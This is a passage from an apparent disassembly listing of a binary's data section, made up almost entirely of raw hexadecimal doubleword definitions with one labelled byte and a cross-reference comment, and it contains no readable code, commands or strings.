		dd 13C69700h, 0AF07C51Bh, 5F92340Eh, 53E4BBDAh,	0C930008Bh
		dd 0F02D774Fh, 1905B894h, 5939C1F8h, 0B780BCC5h, 255AD78Bh
		dd 3A006158h, 17B59D29h, 996EA8D0h, 23291DCCh, 2D59509h
		dd 0E0BF6D7Fh, 71673DCEh, 52250A05h, 3630A776h,	8410ADBDh
		dd 0A20B7529h, 2202D11h, 0B8606844h, 79522F5h, 0F64CBFFCh
		dd 2D391047h, 0A1076127h, 0DB120F55h, 784BC0D4h, 0F894DCD5h
		dd 3AF70381h, 0C612C2B1h, 6BFB244Bh, 0E25F0014h, 9589FC80h
		dd 440C4A4Dh, 1C1E4906h, 0BA0F4A22h, 30BB9E40h,	0E53814Ch
		dd 0FFF31FE9h, 0AF02512Bh, 5BDA0771h, 8501C10Bh, 753442B9h
		dd 810089D9h, 0FAFED7F3h, 9B69012h, 65E42AE6h, 5B75BB42h
		dd 5D9C5879h, 0FE6D2A05h, 0DFC13263h, 4CABF8DCh, 385F79DAh
		dd 0E33780C6h, 5CC146Bh, 18F77DAFh, 0F109E66Ah,	8640835Fh
		dd 5F18ADF3h, 4FC3506h,	2021173h, 0D305C083h, 5C1770C2h
		dd 3A912C30h, 3C2AAE3h,	7FBF9029h, 0B68E7815h, 3B0A44h
		dd 0B0E79F40h, 5B97F947h, 593C5658h, 6BD88F19h,	802F3790h
		dd 0FB0F25B9h, 756936A8h, 0EF1F8144h, 0EA58A42h, 81E0B5D7h
		dd 0AD8486D6h, 95D720C1h, 89441B4Fh, 0E2EBE6F8h, 0B50109FBh
		dd 8DBB2785h, 0F3937814h, 0FEDA2653h, 0FAD112F0h, 5CEE3C9h
		dd 8218DF8Ch, 7D026AFBh, 3D588053h, 9F3900D9h, 81486926h
		dd 9D12337Ch, 0CCBA0DC5h, 8C00BA3Dh, 0ACF80A72h, 0EA5DDCh
		dd 0F1680D93h, 0B390D217h, 7AFF448h, 21EFEE14h,	610D969Ah
		dd 6B36482Eh, 10E8F90Ch, 0B72EC557h, 0DF00418Bh, 18204A22h
		dd 0C46505EDh, 0D5AB825Dh, 938F1F4Dh, 4CCAAF0Eh, 24ADFD10h
		dd 7C60A160h, 67384Eh, 0EFE05D82h, 1DBD33E6h, 6141213h
		dd 208D4B9Ch, 50503465h, 2540BDE0h, 289D905Fh, 96E18E49h
		dd 7B02DCCFh, 0E8ACA4D3h, 6043C150h, 4B258D1h, 45593186h
		dd 0AB3E6B00h, 3F560Eh,	675A6850h, 8CD25DD4h, 1C018A09h
		dd 254A5F4Eh, 0CFC3A4EDh, 0D9D590F9h, 80B3B1E1h, 695D5572h
		dd 1E001915h, 3DD322DEh, 97B1329Ah, 0A681F032h,	2E758BCBh
		dd 9EFBD652h, 607F8F3Eh, 8509CE7Dh, 0AE2C4F1Dh,	201F2E65h
		dd 6A3E3010h, 0DE1675D9h, 0C9A00B61h, 4D5F8E29h, 14C96059h
		dd 0C602D41Ah, 0F8827802h, 0C4F75C74h, 86F55852h, 0F901972Eh
		dd 10A5DBDh, 0E3F870E6h, 0EF8916D9h, 0E170881Dh, 0CF98F000h
		dd 71E4D87Ah, 0CA4C1CBBh, 0F5C9E5C4h, 0B05FA923h, 0EF0A0FBDh
		dd 6E9A80E0h, 46820FAh,	0DEC7E4Ah, 7300BC3Bh, 0B1118222h
		dd 42EE80E7h, 3C73C677h, 0CAEF1407h, 79195F57h,	589C2016h
		dd 824B92DAh, 0D1D55010h, 0BF5B138Bh, 0F9BD0D80h, 38C88910h
		dd 1B3C908h, 26759D75h,	5DD1CE52h, 66F88752h, 793CC600h
		dd 84A9E3FDh, 0CA0F058Eh, 0CA28E9B9h, 0ED7B00FDh, 937F6036h
		dd 0C4DF870h, 0A2ADF778h, 7406D62h, 4042965Bh, 0BE553DC4h
		dd 0DAB13C02h, 0E0AC4C15h, 8209D570h, 81001F5Ch, 9B1CF7C7h
		dd 2C12DC7Fh, 78DF07FDh, 8D092052h, 999723B9h, 0C3141528h
		dd 5843985h, 9B2255E9h,	254CCC82h, 12FFF5D9h, 64FA5550h
		dd 72B16400h, 7EFBF5BDh, 0E2330013h, 0DD76680Ch, 6F09599Dh
		dd 796ACF88h, 0F231142h, 8A8BF780h, 0FE122BA5h,	5C728BF0h
		dd 724193BAh, 30F13D41h, 0BFEB8000h, 0AC34B097h, 4F849809h
		dd 7C6FFEFCh, 631EA400h, 0A3234C12h, 2A6DDE0Ah,	2909CBF5h
		dd 6B557920h, 6440346Dh, 23ABAB0h, 0B980A58Eh, 0D3D50802h
		dd 941778CAh, 4A8DAA02h, 5EDE8BE1h, 584D2349h, 8004F0F9h
		dd 0E6052AE5h, 1CB90A81h, 504CBC04h, 6009FCABh,	0D25D8589h
		dd 0A99D256Dh, 0C02BBB22h, 62DCE05Eh, 10A14A69h, 0D7CE1809h
		dd 4BCC0070h, 6C376753h, 977A18CAh, 64960C25h, 0D7650039h
		dd 7F799EDCh, 0ED077AF2h, 7D1197FFh, 43AE5C90h,	348FB0D6h
		dd 87D36185h, 9CA6080Fh, 8CC2606Fh, 1233DC1Ah, 0F3894075h
		dd 0CF81C07Fh, 4A9D1271h, 0C6BFA2Dh, 0E1D85877h, 5A17CB02h
		dd 7F5E79CFh, 94BB6640h, 808F9954h, 0DE9A9108h,	481CE4C6h
		dd 0CA6B5B2h, 21190E04h, 4B7691F3h, 3A56CDD8h, 25ACD3FDh
		dd 0C520F7Dh, 1072291h,	0C1AA60DBh, 2F3D9AF6h, 40437E2Fh
		dd 0C780EDF0h, 2E01B74Ch, 0C5A5A285h, 25E1150h,	8620E0BBh
		dd 0BB8F7A4Eh, 0ADE17875h, 0A6FA1C16h, 20B869C4h, 52E8CAh
		dd 0AE5DF8D1h, 4E00E912h, 0DE6E3643h, 133ED472h, 2568C5Eh
		dd 8B0F5256h, 55883759h, 0FF5F0431h, 0D9AB82E1h, 0DF51095Eh
		dd 4CF78110h, 4B88103Fh, 0E721DE8Ah, 8A1817F9h,	20BA9617h
		dd 388ED9C8h, 45800F79h, 0C93C36D1h, 0D0B932D3h, 0E2B9E380h
		dd 0EA078Ah, 0BE1BD6D5h, 8501FAAh, 0F112377Bh, 0DAE25F94h
		dd 89A95D8Ch, 4ADB527h,	0C681604Fh, 0EC6A2C25h,	6EF6D2E6h
		dd 0E98FCCA0h, 29708E3h, 0BB4937BAh, 0D95CA9F5h, 89810F25h
		dd 0EBC1727Fh, 0B876AD14h, 88D8057Bh, 4E0E4DEh,	1230E5EBh
		dd 4A0BA3h, 27FBBB77h, 19973361h, 0DC6C90B1h, 92B7409Eh
		dd 0A9F1A207h, 0B89C8A01h, 0CF8F0267h, 505F4580h, 0BD316090h
		dd 0C899697Dh, 0E461CF09h
		dd 25DC9DFFh, 3985FD25h, 55E2AA57h, 0ECE95B38h,	60366D7Fh
		dd 79EAA3CFh, 0C0D3A4A0h, 61A2AF5Ch, 1F03FF23h,	3F91074h
		dd 9CE2BF50h, 4DC624D8h, 2FC5E8FBh, 0DC60C1F1h,	61F66BB9h
		dd 0F2DB2A4h, 59144685h, 98BC2158h, 0BCAC282h, 9DFAEE91h
		dd 7ED8D4h, 1C3C3B21h, 0C95FB17Bh, 52040B8h, 21A970Bh
		dd 0FC70595Bh, 24227E9h, 8427B7FDh, 8C27CF5Bh, 2A0075D0h
		dd 6E3A9AB5h, 76DFED5Ah, 66FD00A3h, 3D8F60A6h, 1D9050FEh
		dd 8B5BFF09h, 0AB117BDFh, 36EC5885h, 5116A109h,	950A78F7h
		dd 81B80D3Dh, 368A6B29h, 162FD1E7h, 0C038DE03h,	0BD016EE2h
		dd 0DC0C4B25h, 8979FC20h, 4BCC9Eh, 0D7E0F501h, 96320931h
		dd 3BD1CBF2h, 4987B100h, 274CB8EBh, 54607741h, 0FC9123E1h
		dd 2E965246h, 4940446h,	0E34D98Dh, 1249C42Bh, 8B025049h
		dd 0C4D8BE2Eh, 0DE4B8BEEh, 0F6FBD894h, 0CE5FF0E6h, 0ECD50208h
		dd 0AC128332h, 1614D940h, 64762D35h, 0DC57DD2Dh, 2B3590CBh
		dd 0AA730034h, 8133C872h, 4700FD35h, 0B686683Ch, 12F49EBBh
		dd 205B5408h, 0E434BFF1h, 0F26A1324h, 0CBECB841h, 816F3E0Dh
		dd 47400072h, 4A9B64C9h, 0BB041A2Fh, 3ACAF404h,	182188C1h
		dd 0C857776Ch, 0A43FAE4Eh, 0EDB50F00h, 0A17723C0h, 0EF031490h
		dd 28A73D7Eh, 48EF990h,	3424CE73h, 306016A6h, 0D83A39Fh
		dd 0E6DAD81Eh, 0C4FE9482h, 0A0715DFCh, 6DBE5E00h, 27487110h
		dd 355D9061h, 0B6668921h, 19B94582h, 75CAFC04h,	623FFE4Eh
		dd 61E6980Bh, 0BCFF7884h, 0C8A0B44Ch, 88514F30h, 88003E7Dh
		dd 0E1B4A0F4h, 25015E0Dh, 43C51568h, 75ADD12Ch,	48003AB7h
		dd 0CB0BFB50h, 0C9A60971h, 0EADFF895h, 8F2AB7F0h, 0F28F2EE4h
		dd 9AD5C6E1h, 646B50DAh, 2B00A31Eh, 0E03B352Fh,	975D7E9Dh
		dd 0D672529Dh, 0B100DC0Dh, 0D1DE7FB5h, 9D4D6739h, 8FC3BDD6h
		dd 0B1FC8D0h, 9D63005Fh, 90C8A9CFh, 0EC045043h,	5BD368DFh
		dd 0ACA36EBCh, 6EFE884Eh, 88F90E67h, 892880A9h,	0C22C6995h
		dd 19B59D5Bh, 73716C74h, 2E9865AFh, 1412DABFh, 4CF6393Ch
		dd 1059B509h, 20AC467Bh, 251F4508h, 0F242EC6h, 0F0C1FF83h
		dd 0BD2E963Ch, 835C00A1h, 15755694h, 7F81009Dh,	9543C30Ah
		dd 21002C4Ch, 616051E2h, 0C9505B5Fh, 0EDFF960Ah, 0A035605Ch
		dd 0C105E96Fh, 0DA8B9C3Bh, 0D19E7716h, 1F63092h, 1A4A199Dh
		dd 0E2DA314Bh, 61195C47h, 195BF952h, 0ACCCF92Eh, 0ABDA1927h
		dd 2FF962CAh, 7DDB2534h, 50DDEFD2h, 12905A20h, 0F314F080h
		dd 6BBA4E49h, 5DCE0ECCh, 7BF76B14h, 0F5BD0410h,	25E1120Ch
		dd 30D6AB3Ch, 0C7F25A2Fh, 0D5F81907h, 0F120EA5Ch, 317622BBh
		dd 507C3107h, 0F05D6620h, 41D9115h, 8290E14h, 4B3AE826h
		dd 0FD3B208Dh
		db 1Dh,	0ACh, 54h
byte_544547	db 75h			; DATA XREF: ___:off_445258o
		dd 1E1D048Bh, 0BCB3AA3Ah, 56E6D33Eh, 0D6E87BE3h, 0E01426F4h
		dd 2296CCDEh, 165A9E01h, 0FA430B60h, 6CA971C2h,	0C09C4D7Fh
		dd 1142F860h, 9A63622Fh, 31CD9BFh, 160B98ACh, 777FE490h
		dd 5B9E5D54h, 0D9099674h, 0D18D0F50h, 7F624009h, 70E09E65h
		dd 3B4A3F01h, 0A6B3968Fh, 28B2673Bh, 4B8D44ADh,	8119CC08h
		dd 4945DF04h, 542C2F8Ah, 9BAF3CD6h, 60DC8065h, 985722A5h
		dd 0DDB6F259h, 8B93FDD6h, 911C88C1h, 5316231Ch,	0CC1CDF02h
		dd 5054605Ah, 0FA8A3A56h, 5FCA96A8h, 25968C8Ch,	0DB410B41h
		dd 61021841h, 47D61074h, 0FEFC4F1Ch, 0D5A69507h, 0D582797Ah
		dd 445E134Dh, 46860FE2h, 80600E1Dh, 43B438E7h, 4B2EE3D6h
		dd 76F2D8Dh, 0A229D779h, 375E2B11h, 0BF103F71h,	0B225A88Ch
		dd 9F29EE09h, 0BB020335h, 0FBC6A4B7h, 7EFA0060h, 66BD3D1Ch
		dd 0CA4FE618h, 4B4072A2h, 10ECB5Bh, 0F3E974B3h,	75C6FFF2h
		dd 0CE5848DBh, 0FF9F0BC8h, 97F898A9h, 0E7C3624h, 7F4E1227h
		dd 249627Bh, 0FA08997Dh, 11204455h, 54E44D1Ch, 0E958012Bh
		dd 7C809740h, 7C80FB0Bh, 0ABE2E300h, 0D0CDF867h, 0B5D3034Ch
		dd 9EAD3AFEh, 0B89C1FF0h, 86FB0A03h, 0E0E8E582h, 0FD2FE69h
		dd 0B2D453D7h, 0E75A37A0h, 2E038B46h, 0CB0855E8h, 0D6F4B8C1h
		dd 86F0DFh, 6EF10984h, 41DE225Fh, 3C4C3F00h, 60D35CCFh
		dd 53F00092h, 2A6364E3h, 80F2B612h, 0C2B9CB00h,	1994B5CAh
		dd 0A576E1h, 2B6264A3h,	0AA4C78E7h, 0FD009C7Ch,	1A91BFCEh
		dd 0CF5818h, 0AFB0C8C3h, 80B3FCA2h, 3F035FC3h, 0B564031Bh
		dd 68232F5Eh, 0F447E0D8h, 0B0F23C0h, 0B7324909h, 1700FB63h
		dd 0FBCFC6C3h, 6CE9D97h, 68C9C1BCh, 0EB001FD6h,	0D8081D8h
		dd 3736BFDh, 0F286583Ch, 0A7803B5Fh, 28C03994h,	2E92B2Fh
		dd 41EF02EBh, 5D859537h, 5B80CA5Ch, 6366567h, 5B9A60A7h
		dd 8C9FF699h, 0D0CBFD03h, 0B970BE42h, 0EE808594h, 7DEE1E8Dh
		dd 66000130h, 0BE82AC0Fh, 91EF989Ah, 67C50FDCh,	4C0437C0h
		dd 0EC00B14Dh, 2FE52B44h, 1EBFC09Fh, 0C42BDCEh,	0ED726056h
		dd 91BE6905h, 0CA00E414h, 0B63F4D12h, 9826FE8Fh, 0A5C90043h
		dd 0C3BECA95h, 9250B4CBh, 0C800A7A9h, 0DAB599A1h, 27394B3h
		dd 5769F63Ah, 0F68014D6h, 5015A9Bh, 16728A00h, 314ACEF2h
		dd 0EA5918C6h, 17697CFFh, 0F1BAC400h, 3C20D971h, 8B0C01F6h
		dd 4D404118h, 0A190EC3Dh, 5E228EA8h, 807D400h, 77F66595h
		dd 15250658h, 25CA79A6h, 0A1C54900h, 17AD3E4Fh,	0FA3C67BEh
		dd 2D5E9370h, 44743190h, 7232C000h, 0A9A1DCEDh,	0FEBB00D6h
		dd 94FB18CEh, 9B00388Eh, 7B365574h, 1628B7h, 0AE2A195h
		dd 5D412B18h, 37522D0Eh, 9ED6C07Ah, 3C545EEh, 98A157F6h
		dd 8A00ACA9h, 0D0EC262Ah, 146B824Dh, 0E4C8D16Fh, 0D56CCD15h
		dd 6867EB00h, 0DE960535h, 73C613Fh, 50B4C4BFh, 0BE6A1980h
		dd 0ACA70074h, 0EBDD9F1h, 8D774276h, 0DF750400h, 3E4E3F40h
		dd 0B35801DAh, 631E2D5Ch, 8C01C09Fh, 0E503F190h, 0C4039EAEh
		dd 268F89ADh, 440F4120h, 82CFA542h, 67180C7h, 1D9A8C09h
		dd 0C1B12DFh, 24C8EBAFh, 0E018CCA0h, 38739F1Ch,	0D43B5400h
		dd 0F1B96B5h, 0EAE56417h, 597D425Fh, 404851DBh,	0A449A607h
		dd 8D129D6Bh, 10296649h, 4678757h, 431A316Ch, 0D80FC047h
		dd 15006A5Ah, 780B8F3h,	82C128h, 7E060A87h, 45E2196Fh
		dd 0DC620503h, 0A99AFE49h, 2AF086F1h, 55E40082h, 4B7AA5A9h
		dd 0A2002656h, 1289BB50h, 36F910Eh, 2C9F0C3Ch, 2F03B083h
		dd 0C8C54F33h, 78110077h, 504D7C03h, 0D60B3DC2h, 0EE695B7h
		dd 250EEC9Ch, 22730085h, 77980B49h, 7C00ABCFh, 0DE3A524Bh
		dd 48039C54h, 0ED027B01h, 7EA8A0DBh, 575256E0h,	0D73EDD00h
		dd 0FD4CE944h, 764EC79Ch, 394B0212h, 0CCB0F843h, 8B14A89Ah
		dd 6AB532Ah, 9052E14Eh,	6DD1052Ch, 4027C4A7h, 9E1B69A1h
		dd 0B0043F1Fh, 2B2DE788h, 2D7C1C3h, 0EC81608Ah,	0C4A7F043h
		dd 0DCD9D073h, 40228ACh, 0CC4AEBE0h, 25A58090h,	562921h
		dd 8858234h, 0C66794F0h, 887B0B61h, 6E4B6084h, 2615920Ch
		dd 0D900BD29h, 2E5DB45Bh, 1B9D611Ch, 0D28EEB31h, 0FCA0528Ah
		dd 0CBC6C198h, 5B8AB350h, 1F658000h, 336E9DECh,	75BF061Bh
		dd 0BA3EED4Ah, 2872D324h, 0F6DAB00h, 624282Ch, 4A19AEEh
		dd 4E071535h, 1796A6CAh, 5A1313ECh, 1D1CAC4Ch, 17F02E8Fh
		dd 1B88AC90h, 12673273h, 6463FCB8h, 1052906h, 0A37A2Bh
		dd 1B618041h, 192875E0h, 0B69AA1A8h, 0E2437C05h, 9C026A20h
		dd 874675D9h, 81FAFFA5h, 0FDB0DF03h, 11D0F7CDh,	0E20A1Fh
		dd 0C2969BBBh, 0D9EB7430h, 0C15EA200h, 7DBCCCBFh, 3A6F60C3h
		dd 0B5688FC8h, 1C99B600h, 54477916h, 29580027h,	8AFABE74h
		dd 0FE070D7Bh, 51ADF583h, 6EA6A950h, 0DF2900A4h, 544FCD0Eh
		dd 8101FC0Bh, 0F0126D9Dh, 0F0404446h, 1443B215h, 0B4EBFA2Ch
		dd 52B7C100h, 0C84C45F4h, 798E4428h, 0DF314700h, 46CA49D9h
		dd 0F4294836h, 7A013h, 7FF56656h, 0B3772B89h, 6BEF1F01h
		dd 0AC1B4DB5h, 8477F8h,	0F80ED9Dh, 97D649A0h, 0D077600h
		dd 0AD712C5Eh, 9D106032h, 0F282B9F4h, 5341F803h, 0A8D3D004h
		dd 33E265h, 0E09BADDCh,	0F1106F1Ch, 88CBC09h, 78D9000Ah
		dd 1C85D340h, 820CE95Fh, 66E03274h, 8C71D6E4h, 8467A638h
		dd 497B0434h, 2925CE80h, 15E3D6Eh, 0EE718900h, 0D5AAA2DFh
		dd 0C3FBB600h, 0E7178EBCh, 306D0098h, 57464718h, 89E61F27h
		dd 0C74F81F8h, 0EF835847h, 60FFE96Fh, 0FD8F5F96h, 14505CD4h
		dd 1505E089h, 63052D28h, 0C892387h, 0E3A053A3h,	2AA9C381h
		dd 1C87D8EBh, 570827D8h, 0BC6C0EBFh, 0F0D70618h, 0B0F42B3h
		dd 0A595863h, 5F1207F1h, 1C26F610h, 835B2489h, 0AE5BD372h
		dd 817BC71Ch, 0F80FB2Ch, 438F1E77h, 6D0087Ah, 7C8B300Ah
		dd 0FAE18951h, 112BA2C1h, 4C8D8706h, 9494FF5Ch,	70EC48Ch
		dd 0FBBF3DE9h, 679520EFh, 3DD0A99h, 0B8A7A149h,	0D003C106h
		dd 0E0FFC503h, 332CA0D7h, 0E234006Ah, 6EC1F609h, 26737D32h
		dd 28B83A00h, 0FF9E4ACDh, 2EF0F50Eh, 0D01B04E3h, 0FF32B340h
		dd 0DA4F53A6h, 0D2388067h, 19155BFh, 6690618Ch,	6E78D0BBh
		dd 0BA0A6E30h, 0DDD7022Ch, 3D7E7D34h, 971578D5h, 2FD624FCh
		dd 0DF425DEEh, 4F250D76h, 109F4024h, 6A4FDE21h,	8ED820AEh
		dd 4400CCDBh, 0F9FA91E8h, 28417B8Ch, 28986684h,	2DC2C394h
		dd 0D24217B3h, 78DCE6D4h, 2DC536EAh, 7520CE4Ah,	53902D09h
		dd 5B87B0D7h, 0FB8B3F50h, 10ADFC32h, 0F097F823h, 396F70h
		dd 842759E5h, 0C6C249FCh, 80C5D05Ah, 0A8E0ECB6h, 84976052h
		dd 610923DCh, 44A74DFFh, 0B0F601Dh, 8E5B00EFh, 0FA819EF4h
		dd 68A86049h, 0AF00F3F9h, 0F7528C9Ah, 735633A7h, 0D9CB008Ah
		dd 0F3BA35CFh, 5C3EC0D7h, 46DC2D61h, 4F8977E9h,	0FF05C0E1h
		dd 852501D1h, 7E70E265h, 153D51F0h, 0F30FB6B2h,	9A03C12h
		dd 4F8EC480h, 6AD0E200h, 0F7816602h, 0D5F550DBh, 3F0C4119h
		dd 234FC8E8h, 1EF9E5ABh, 20ADCC5Ah, 91D96502h, 0D4F19D8Bh
		dd 26EC2D60h, 4752E92Dh, 0C39E09A1h, 46E6DDh, 4103C8Fh
		dd 4D4FFF55h, 0BCF08502h, 76B9C752h, 0AC71DCAEh, 0AFAED000h
		dd 0B589292Fh, 3F2041D1h, 0D9BBB230h, 7B450E15h, 0FCE05690h
		dd 5F7DC62Ch, 0B0F507Eh, 0D2269541h, 0E3E088B6h, 9D102395h
		dd 86621041h, 147508A1h
		dd 4CB32D64h, 54B7714Ch, 34B6D493h, 8D9E48C0h, 603E04F6h
		dd 0BC07CE80h, 0CDE780DBh, 0EA11415Eh, 1614802h, 871BC703h
		dd 0B589FF6Ah, 0B0162B1Dh, 87809CDBh, 26BAC4ECh, 31B5DE73h
		dd 0BF082C74h, 0B00A6A1Ch, 8D9D3102h, 9273D40Fh, 0C1E0FC03h
		dd 71E4FABFh, 88FF202Ah, 5C008CACh, 8F045273h, 0C35B0511h
		dd 4839EBC6h, 317CA9B5h, 0BD2933F5h, 538C2BF5h,	0E880C8B6h
		dd 5B88CA5Ah, 1D852D31h, 5EF9B009h, 36EF8100h, 0B576F9B4h
		dd 60A45C08h, 0E8D2E1B3h, 65DF9F04h, 48EAC82Bh,	30AF6967h
		dd 1C46BF66h, 20AAE9E4h, 6BBE89FEh, 79C95296h, 0D296D8h
		dd 0CF0227F7h, 5F0C1164h, 8858B17h, 5AC58CC8h, 34581E5h
		dd 736EC79Dh, 95010212h, 426CD631h, 45D41235h, 0E6FF2A64h
		dd 0EA007FD9h, 0CEAC8264h, 1570C5Fh, 849AF7EFh,	6B51E9C1h
		dd 6A340370h, 0B5880235h, 58EDA70h, 0A8C65FF8h,	9103FF8Dh
		dd 22B78740h, 3702C0F2h, 8A16FB21h, 51A2AE26h, 0FC172022h
		dd 93B48589h, 26A55083h, 9D2B12FEh, 2949BDFDh, 0F8168795h
		dd 0D104EA6h, 6A906537h, 0E0F7EAB6h, 0F085A9Bh,	44FEB72Dh
		dd 0FCEC00BFh, 0DC5D8691h, 1A004A9Ch, 4E3E442Ah, 0B45CC0Ah
		dd 0D01355B0h, 0E1A65E53h, 61A509D6h, 10596EC2h, 0D650AD00h
		dd 578BA8h, 0F4805964h,	6FBFDD38h, 0E801DE0Fh, 0FD9C9E4h
		dd 7D754087h, 0B50FE5B9h, 4DE2576h, 38156E4Fh, 20F8E894h
		dd 7C899F22h, 1671C67Bh, 40F55820h, 0BD2E0B2Fh,	0FC8B0FA9h
		dd 2B0AE0F9h, 20DA90C0h, 899F2D79h, 0F49E761Fh,	27E18E00h
		dd 0B2584EDCh, 4EE49757h, 0DFD4D900h, 0ED3C3A80h, 2DE300A1h
		dd 4EF3C284h, 400B2765h, 515F14CBh, 6F0CEA4Dh, 988BFB60h
		dd 0CA3C68A0h, 44E1E0Ch, 84894F80h, 734472EEh, 4E5D90C6h
		dd 0D3C1A299h, 0C24D8FABh, 0F955036Ah, 7BFF007Eh, 1372970Ah
		dd 0C09D1A95h, 0F80C776h, 0BB6175E3h, 489D9402h, 0B8685DD4h
		dd 0D40C3509h, 2C905EB3h, 9D137120h, 698020DEh,	0CCD11BBFh
		dd 4DF61DFAh, 0BC80B46h, 3B442751h, 0EFD48949h,	928F949h
		dd 82429509h, 0DD2BB25Fh, 0A258C5FBh, 0BD30015Fh, 0F960E1FFh
		dd 4286A61h, 8D2988D4h,	0F90E0525h, 34DCC4E2h, 0FAA8E1E9h
		dd 0EBB09B04h, 0DEFCBCD1h, 5D5D78A3h, 3938B8BAh, 5E931FC2h
		dd 0E99BBB46h, 82A06984h, 0BD5FFB1Dh, 7FC480EDh, 8EDB4017h
		dd 0E84F740Bh, 0B774E4F2h, 0A558FED4h, 206FF7CAh, 2B87B3DBh
		dd 0E694D300h, 0DCA17C5Dh, 8ABA2C20h, 380D9068h, 3B84DA5Bh
		dd 1D86EEFh, 0FBEEFFAEh, 486AFC79h, 0F5931B57h,	4B7635E3h
		dd 5FDCF7F9h, 1180CEDAh, 0A21E157Ch, 0CA0BFEE2h, 26050C2h
		dd 0E67620E7h, 924E0071h, 0D4AF0DB8h, 0BFEA4845h, 7D5A5F27h
		dd 0F37C8889h, 9D6204DCh, 0F8BD2778h, 85090C11h, 968E1B1h
		dd 0A86939BFh, 81DFC183h, 0CA406804h, 31AD57B5h, 0DA0048B8h
		dd 0E6126DF6h, 485ADC73h, 0FB4FF760h, 0EAB87D43h, 85D60B67h
		dd 265133D5h, 2D6856Ah,	78039F7Ch, 0DF762E5Dh, 24A73316h
		dd 0E9DA277Ch, 73DD0E62h, 0C948701Ah, 4DDFB701h, 9CEFB695h
		dd 69F37ECAh, 844DE8F5h, 8E8C0496h, 0F8510867h,	1F7680FFh
		dd 63E4Ch, 43E54B0Eh, 0A180CC57h, 5F32B80Eh, 0F5F5535Bh
		dd 0F8B00D27h, 0D40BA839h, 1852C29Ch, 5326617h,	0E1C7CA25h
		dd 0AC01A95Fh, 12048C17h, 9902B56h, 28BFF6C4h, 9D270123h
		dd 977ADA55h, 9CE0474Dh, 0FE665384h, 322B24DFh,	0F4BFC0D3h
		dd 6AF78C7Ah, 0BCEC0B11h, 7ADE0066h, 46529541h,	1D12BCB1h
		dd 85B8FE8Bh, 0E2C3C534h, 844500AAh, 8795A41Ah,	9140002Dh
		dd 0B2A3D782h, 0BF059661h, 1935DFD1h, 0F24ECAFCh, 27ED000Dh
		dd 4972E558h, 0F840FFA8h, 0ECBF310Fh, 4DC6004Ch, 8196585Ah
		dd 0C4166BEBh, 5BA21DE4h, 246EEE4Fh, 38F88600h,	0B70F29E1h
		dd 2C85CDEDh, 38ECE52h,	0FA823A68h, 2D475E6Ch, 0D0A83A57h
		dd 2DC5743Ah, 8BED6CA8h, 436231C0h, 890F276Ah, 0CD8BA179h
		dd 0BE345309h, 1C201C4Ch, 40F78100h, 50613F3Eh,	202C17BFh
		dd 15AD1287h, 43BD2B5Ah, 6613E902h, 44282FC9h, 0F96159F8h
		dd 0FB0402BCh, 1064F0DDh, 3F003BA2h, 46FABCD8h,	0F6B7C1A9h
		dd 0D4A30014h, 8A58629h, 519DF227h, 0E3B5EB5Bh,	4B11BD00h
		dd 13895466h, 0E32FDD95h, 5D378BEBh, 8A40096Fh,	2D12264h
		dd 45531115h, 6EC0EADDh, 0ECA262A0h, 0E9FFA355h, 0C4394F1Eh
		dd 0EEF9F883h, 0AD8FFF93h, 0AFAB53DFh, 5CCB40DAh, 42F0665Dh
		dd 0B5890483h, 2CFA17C1h, 425E85DBh, 0A00A01D5h, 2F79F526h
		dd 53B727ADh, 56A9AB09h, 35290955h, 46D6B97Eh, 9471011Dh
		dd 1BB4829Ch, 5A5B32C8h, 8B228C63h, 0B51FB04h, 51B199BDh
		dd 98B633Eh, 6A1529B1h,	84A92677h, 0BF00041Bh, 6297C341h
		dd 0C0C59648h, 0AEE13742h, 4546006Eh, 323AD652h, 95007C91h
		dd 42E87F2Fh, 1DBB5021h, 0D6F855A5h, 1C36F96h, 0FCF3F857h
		dd 0C82F23AEh, 5D006AFCh, 4E5B298h, 1E4A88h, 15483DC9h
		dd 43FD1972h, 0D9674A98h, 0A96F0BDDh, 50217C12h, 0F30581D9h
		dd 0FFE7216h, 40D922A8h, 0C0D4F6F5h, 9245BD50h,	99A9FC9h
		dd 3241D1C1h, 5CDF02B5h, 7E42B109h, 127E69EBh, 0B0EB0055h
		dd 11CCF69Bh, 9A49C409h, 9CEAF8A6h, 12654A77h, 0EA4F007Fh
		dd 385A2BF0h, 0B6225301h, 6E99D39Eh, 4FD1B3FCh,	0FE9C15Bh
		dd 320A6980h, 0C9E5E051h, 343F5F25h, 33A2D1h, 91805CCBh
		dd 9B017042h, 33600360h, 0FEDCC9B5h, 5E005FA3h,	97CFCB09h
		dd 0A913A5A1h, 0A5F831A6h, 0AAD8854Fh, 0FDF0A2E6h, 611DECD2h
		dd 0F9C9290Bh, 4B4DF56Ah, 49B763C0h, 0DBC40A3Bh, 9855EF2h
		dd 1B1434B1h, 0C17820B3h, 7E2502EEh, 8D0F6015h,	0B58427FCh
		dd 74EA611Eh, 36A3FF28h, 0B6DE4AF0h, 0F7B2202h,	408EECF1h
		dd 822C3549h, 62EF185Dh, 88CE00DFh, 97041AE4h, 51010BBCh
		dd 5DE50DBBh, 0CCAC5F13h, 0FBF63454h, 5402237Eh, 6F5CC845h
		dd 0C52094F8h, 31989F1Fh, 0C2168ABBh, 30A27828h, 50984488h
		dd 802FED3Eh, 6005965Bh, 6842BA66h, 7BD5A2ABh, 505F6171h
		dd 7D964BC2h, 39045737h, 52AC64F2h, 4C43C2D6h, 14C49ED4h
		dd 5B9AFC40h, 1C3A6B0Bh, 0BFB18298h, 771D6213h,	3A4ADE19h
		dd 6A3E539Dh, 0AD780089h, 98A0E8EDh, 8FE32C80h,	5AA30227h
		dd 38754A63h, 850CDD59h, 95782F2Bh, 85D4006Fh, 2109C451h
		dd 8D162915h, 4CA317DDh, 737D669Ah, 6BED79B4h, 993CCECh
		dd 9750D547h, 106F9B9Fh, 500A7DE2h, 6D051760h, 0C65F7C21h
		dd 0F8E9A2B9h, 72323574h, 7FE9E279h, 1EE42E7Ah,	0A385479Dh
		dd 455878E7h, 0E565340Ch, 4091CEFDh, 0D35AE913h, 349B9C85h
		dd 605CB9C0h, 212C9531h, 0EA804919h, 33AFA820h,	0C18B2F61h
		dd 0FD0B0937h, 0B906873Ah, 16BD3864h, 6BADB7D1h, 60EE4D45h
		dd 4F01F40Dh, 2A5BC88h,	0F290610Bh, 88604A52h, 58EC8424h
		dd 4276870Bh, 3DD2782Fh, 0B04B5A61h, 4E9F169Dh,	47A10040h
		dd 369AF910h, 0F100ABF7h, 2E96C670h, 5F5F5666h,	0C4799B5Bh
		dd 0B1CC5359h, 1DE100E4h, 47D2C6A4h, 0EFB8DDCBh, 0E985893Dh
